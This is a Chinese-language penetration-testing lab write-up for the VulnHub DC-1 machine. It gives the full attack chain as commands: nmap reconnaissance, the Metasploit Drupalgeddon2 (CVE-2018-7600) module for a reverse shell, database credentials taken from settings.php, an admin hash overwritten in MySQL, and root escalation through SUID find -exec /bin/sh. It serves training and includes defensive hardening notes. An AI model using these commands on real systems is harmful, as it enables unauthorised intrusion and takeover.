VulnHub DC-1 boot-to-root — 利用 CVE-2018-7600 (Drupalgeddon2) 实现 RCE,从 settings.php 提取数据库凭据,伪造管理员密码哈希,并通过 SUID find 提权至 root。
"渗透测试实验室报告,记录了从侦察到 root 的完整攻击链。"
难度: 初级–中级
平台: VulnHub
目标: 获取全部 4 个 flag 并实现完整的 root 级攻陷
攻击机系统: Kali Linux(VirtualBox — NAT 网络)
目标机系统: Debian Linux(Drupal 7 CMS)
| 组件 | 详情 |
|---|---|
| 虚拟机软件 | VirtualBox |
| 网络模式 | NAT 网络(两台虚拟机处于同一子网) |
| 攻击机 | Kali Linux |
| 目标机 | DC-1 (VulnHub) |
| 目标 IP | 10.0.2.3(通过 arp-scan 发现) |
两台虚拟机均在 VirtualBox 中配置于同一个 NAT 网络 下,以便在保持实验室环境隔离的同时实现虚拟机之间的通信。
使用 arp-scan 识别本地子网上的所有活跃主机:
sudo arp-scan -l
结果: 在 10.0.2.3 处识别到目标主机
运行了带版本检测和默认脚本的完整 Nmap 扫描:
sudo nmap -sV -sC 10.0.2.3
主要发现:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 关键点: Nmap 通过 HTTP generator 响应头明确识别出该 Web 应用为 Drupal 7 — 确认这是一个已知存在漏洞的 CMS 版本。
Drupal 7 的 Form API 中存在一个严重的**远程代码执行(RCE)**漏洞。未经身份验证的攻击者可以发送精心构造的 HTTP 请求,后端会将其作为系统命令执行 — 完全无需任何身份验证。
启动 Metasploit Framework:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
结果: 成功以 www-data(Web 服务器进程用户)身份打开 Meterpreter 反向 Shell。
从 Meterpreter 切换到原生 Linux Shell,并使用 Python PTY 对其进行稳定化:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
结果: 在 /var/www 目录下获得 www-data@DC-1 的完全交互式 bash Shell。
ls -la /var/www
cat flag1.txt
Flag 1 内容:
Every good CMS needs a config file - and so do you.
💡 提示: 直接指向 Drupal 配置文件 —
settings.php
进入 Drupal 配置目录并查看 settings 文件:
cd /var/www/sites/default
cat settings.php
在 $databases 数组中发现了内嵌的凭据:
| 字段 | 值 |
|---|---|
| 数据库 | drupaldb |
| 用户名 | dbuser |
| 密码 | R0ck3t |
Flag 2 内容(来自文件注释):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 提示: 使用这些凭据访问 MySQL 后端 — 无需进行任何暴力破解。
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
发现了 admin 和 fred 的哈希密码 — 两者均采用 Drupal 的 $S$ 哈希方案(基于 SHA-512)。
没有尝试破解现有哈希,而是使用 Drupal 自带的 PHP 脚本生成一个新哈希:
cd /var/www
php scripts/password-hash.sh password123
输出: 一个针对 password123 的有效 $S$D... 哈希
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
成功以 admin / password123 登录 http://10.0.2.3。
Flag 3 内容(发现于 Drupal 管理员内容面板):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 提示:
find命令存在 SUID 二进制配置错误 — 已识别出权限提升路径。
cat /etc/passwd
找到用户 flag4,其主目录位于 /home/flag4。
cat /home/flag4/flag4.txt
Flag 4 内容:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
find 进行 SUID 利用find 二进制文件设置了 SUID 位,这意味着无论谁运行它,它都会以文件所有者(root)的权限执行。
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
已实现完整的 root 攻陷。✅
从攻击方视角来看:
settings.php 这样的配置文件经常包含明文凭据,使攻击者能够从 Web 访问直接转向对数据库的完全控制。find、vim 或 python 等常见二进制文件上的 SUID 配置错误,是 Linux 环境中最可靠的权限提升途径之一。从防御方视角来看:
find / -perm -4000 -type f 2>/dev/null 应纳入任何 Linux 加固检查清单。本文档仅供教育目的使用,记录的是在隔离、合法的实验环境中执行的操作。切勿对你不拥有或未经明确书面授权测试的系统尝试这些技术。
作者:Prapul | TryHackMe 个人主页 | GitHub
| 工具 | 用途 |
|---|
arp-scan | 本地子网主机发现 |
nmap | 端口扫描与服务指纹识别 |
Metasploit Framework | CVE-2018-7600 漏洞利用投递与反向 Shell |
MySQL CLI | 数据库枚举与凭据篡改 |
PHP (password-hash.sh) | 生成 Drupal 原生哈希 |
Python PTY | Shell 稳定化 |
VirtualBox | 搭建隔离实验环境 |